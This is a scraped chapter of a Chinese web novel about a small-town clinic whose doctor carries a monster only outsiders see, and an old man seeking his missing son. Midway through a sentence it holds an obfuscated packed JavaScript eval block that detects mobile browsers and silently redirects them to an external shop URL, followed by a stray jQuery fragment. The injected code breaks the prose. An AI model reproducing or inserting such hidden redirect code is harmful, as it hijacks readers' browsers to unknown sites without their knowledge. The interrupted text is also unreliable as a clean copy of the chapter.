文趣网 > 其他小说 > 路人救世主被迫万人迷 > 44. 第 44 章
    来者迈过门槛,很是热情。

    “陈大夫啊,多亏了你上次帮忙,我现在心里的气少了,晚上也能睡着了,呼气都顺畅了不少!”

    女人大概五六十岁,一进门刚放下手里提的葡萄,就亲亲热热双手拉起医生的手,眼眶都红了:“要不是我女儿打电话和我说外面看心理医生动不动就上千,我都不知道医生你为我们这些老不死的付出了这么多,我们来见一次你也才十来块钱,陈医生啊,你是好人,攒了这么多福报,下辈子一定能有好报的。”

    女人的感慨不像作假。

    她似乎看不到,医生背后,那只巨大阴沉的怪物。

    还是只有他——或者他们这些外来者才能看到?

    小镇坐落在山窝窝里,为了不拖累外地打工的子女,这里人大多靠种着一亩三分田谋生,大妈也不例外,常年的劳作使手掌丧失了肉类柔软的特性,变得粗粝厚实,掌纹和指甲缝里夹着黑色的泥。

    被她忽然亲昵地握住手,医生却没有半点排斥,反握住她的手,温言安慰,并提醒她下次要是感觉到难过,不要忘记来找她。

    两人聊了会天,大妈这才看向一旁沉默寡言的小伙:“对了,我女儿给我买的新冰箱昨天到了,今天终于能用了,真是谢谢陈医生你了,愿意借冰箱给我放东西,我现在就把那些东西拿回去,太麻烦你们了。”

    她看着小伙。

    十秒钟,半分钟过去了,小伙不为所动。

    大妈有些诧异,上次她来的时候,陈医生还在就诊,是小伙替她接了要冰的东西,放进冰箱里的。她以为小伙会动身,带她去冰箱那拿东西,这本来就是很顺理成章的事。

    女人皱了下眉。

    她知道小伙是刚毕业找不到工作,才回到老家当陈医生的助理,也不是她不讲道理,但陈医生每天那么忙,就算是心善,也不能这么盲目,这助手也是越来越木讷了,每天除了享受诊所的空调和医生给他发的工资,还能帮到几件事?

    真不是她说,她们这群老农民是没有办法才种田,每天累死累活才够温饱,但这大学生毕业不是一直都包分配工作的吗?这小伙居然还混到老家来了,指定没啥能力,这十多年来稍微有能力的都往外走了,不行,有时间她得和医生说说,让她不要太纵容他了。

    当沉默的时间长出某个度时,明华终于意识到自己做错了什么。

    在女人带着质疑的视线里,他抿紧唇,有些手足无措。

    “婶子,我带你去,”医生一声轻笑,轻易消解了空气里几乎凝固的氛围,“小助手最近睡不好,白天有点回不过神,莫要见怪。”

    “难怪难怪!”女人对陈医生是百分百的信任,恰好这话又让她感同身受,“也是,晚上睡不好白天是会犯晕乎。”

    顷刻间,大妈对小伙的质疑变成了过来人的同情。

    取东西的妇女刚走,铃声又响了起来。

    为了不引起注意,引来麻烦,明华站在角落的阴影处,响起的铃声没有引起他的注意,初步来看这只是一个普通且实惠的心理诊所,至少登门的病人并没有像医生一样背着一个硕大诡异的怪物。

    只是,医生明明发现了他身上的不对劲,为什么还要帮他圆场呢?

    就像现在,妇人走后,医生没有继续她的盘问,反而安静地走到了另一边,给他留出了一个让他感到安全的空间。

    明华正思考这个问题,门口处,新来的人声音有点发涩。

    “陈、陈医生,这是我爸妈让我送来的早餐。”

    似乎只是幻觉,因为除去第一个陡然停顿的音节后,少女的声音迅速回归了正常,如同一个再正常不过的招呼。

    明华思绪中断,抬头看向来者。

    只是一瞬——

    只是一瞬,他捕捉到了少女眼球的偏移。

    明华背后的脊骨发紧。

    他很清楚这个动作,门口的人,她踏进房间的第一眼,看向的是那个别人无法看到的,附着在医生背后的怪物。

    但她的反应比他快得多,也熟练得多,呼吸间,已经调整好了心态,脸色甚至没有任何变化,似乎真的只是一个毫无察觉的送饭少女。

    那样一个恶心的庞然大物,哪怕是他自诩社会老油条的爹来了都会心生畏惧,但这个人除了一瞬的诧异外,居然表现得毫无破绽,仿佛已经见识过无数炸裂的东西一般老练。

    明华垂下的手一点点收紧。

    所以,面前这个人是他的‘同伴’。

    会是谁呢……

    吕斯年,还是……

    小刀刺破女人的胸膛,明华紧紧闭眼,那副无法原谅的画面如同秃鹫般,久久盘旋在他心头。

    角落里,他踉跄了下,睫毛颤动,睁开眼,松开手时,掌心留下了几个深深的月牙。

    女人大概三十来岁,虽然说是医生,但并没有穿着标志性的白大褂,穿着卡其色高领长袖,宽松的喇叭裤,身材高瘦,忽略背后的不可名状之物外,整个人就像小孩子们最喜欢的‘小姨’,让人下意识亲近。

    她没戴口罩,脸上有属于大人的淡淡疲惫感,但唇角习惯性扬起,似乎每时每刻都保持着微笑。

    和白辰那种带着疏远和恶劣感的笑不同,这位陈医生的眼里盛着暖意,注视着时安青时,莫名让她感觉到了一种神圣的母性。

    ……都看到了她背后的怪物了,居然还能产生这种完全相悖的感受,时安青真有点怀疑自己的大脑是不是因为重生的次数太多了cpu烧坏了。

    果然这个世界本身的任务并不难,任务对象这么快就给她找到了,剩下的只是时间问题。

    表达了李父李母的感谢,和医生简单寒暄时,时安青忽然感觉到什么,顺着直觉看去,少年站在角落,头微微垂着。

    ……奇怪,刚刚突然有股如芒在背的感觉,错觉吗。

    陈医生顺着她的视线望去,介绍道:“启霞,这位哥哥是诊所的助手,性格比较内向,你叫他江哥就行。”

    时安青点头,叫了声,对方没应,甚至连垂着的头都没有抬起。

    陈医生不好意思地捂嘴笑笑:“小江最近身体不舒服。”

    时安青又点头,比起内向的助手,她在意的是陈医生本人,第一次见面,对方给她的感觉就是好说话,照顾人,当然,这不意味着她会放松警惕,陈医生背后的怪物已经暴露她绝对不是表面这么简单。

    又有人推门进来。

    是一个佝偻着背的老人,时安青原本以为他是冲着医生来的,特意挪开身体,没想到老人直接朝她走了过来。

    老人拄着拐杖,眉骨下双眼深深凹了进去,眼袋吊得老长,过分的瘦加上驼着的背,让他看起来像是一株融

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730159|204712||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    化得畸形的蜡烛。

    任何人都能看出他想走得快一些,但奈何体力有限,只得颤颤巍巍,拐杖敲得又急又慌。

    见他推开门走进来,时安青下意识想去扶一把,但身旁的人比她更快,两步并做一步来到老人身边,伸手扶住他。

    时安青愣了下。

    一番交谈,才知道老人家离李家不远,知道她回来后,就想让这个年轻人帮他在手机上弄一些他不懂的操作。

    老人从口袋里摸出一个塑料袋,又从塑料袋里拿出一块被布裹住的东西,把缠着的布条掀开,是一台已经下市很久的手机,老人说他特意进县城,在城里的店里买的二手手机,昨晚已经特意充满电了。

    邻里邻居回来个会玩手机的年轻人实在不容易,老人四点多就醒了,再也睡不着了,又觉得太早来找李家的孩子不太好,听说年轻人现在都赖床,拖得久了再去才知道时安青已经去了镇里,又追了上来。

    “我也是最近听说,现在发视频看到的人会多一些,所以想拜托你帮我这些忙,”老人低头从塑料袋里拿出其他东西,一个本子,一张合照,“我想让你帮我做个视频,我孩子走丢了,已经好几年了,没有他的半点消息,想让你帮帮忙,做个视频,让大家看到我孩子的给我打电话,或者我孩子要是看到了视频,让他回趟家。”

    那双深深凹进去的眼眶分泌出泪光,像是一尊流泪的骷颅头,他低低的声音在抖,手也在抖,时安青接过合照和本子,本子上是他孩子的一些信息,包括什么时候在哪失踪的。

    说是‘走丢’,其实老人的孩子早已成年,都三十好几的岁数了,几年前说是和同村的人一起出去打工,结果包括和他一起的人,从此再无音讯。

    这样一算,老人的真实年龄比他现在呈现出的要年轻得多得多,但站在时安青面前的,却仿佛只是一张皮囊,套着仅存的最后一口气。

    时安青的胃在抽动,熟悉的无力感让她感觉自己的胃在吞噬周围的脏器,她压住这种感觉,有些犹豫,最后还是从医生手上接过老人,扶着他坐下,打开手机。

    这种剪辑不需要多少技术,用手机也能快速弄好,很快她剪出了好几批内容相似的视频,设定时间分次发布,时安青给刚发布的视频充了钱,让它多一点曝光度,又打开各大软件发布帖子,或投稿给相关账号。

    等到能想到的都做了,时安青的手停了下来,手机黑屏,印出她怔怔的脸。

    “这样就可以等到我崽的电话了吗?”老人嗓音里怀着希冀。

    时安青认为如今自己很擅长说谎,但她现在喉咙干涸得不像话,只能装作忙碌地盯着重新亮屏的手机,逃避老人重新黯淡的目光,良久,才从喉口逼出一句话:“……也许吧。”

    互联网上每时每刻都井喷着无数新信息,大概率她发的东西都会石沉大海。

    她用力搓了把脸,忽然后悔自己知道这些世界,这些人,都是真的存在的这件事了。

    一旦知道了,就做不到视而不见。

    但她消解不了他们的痛苦。

    如果只是徒劳地,复制他们痛苦的余韵放在自己身体里,那让她知道这些悲剧又有什么意义呢?

    一只温暖的手盖住她的肩膀。

    “小姑娘,”医生弯了弯眼睛,温和却又忧伤,“我喜欢你,有空的话,要聊聊吗?”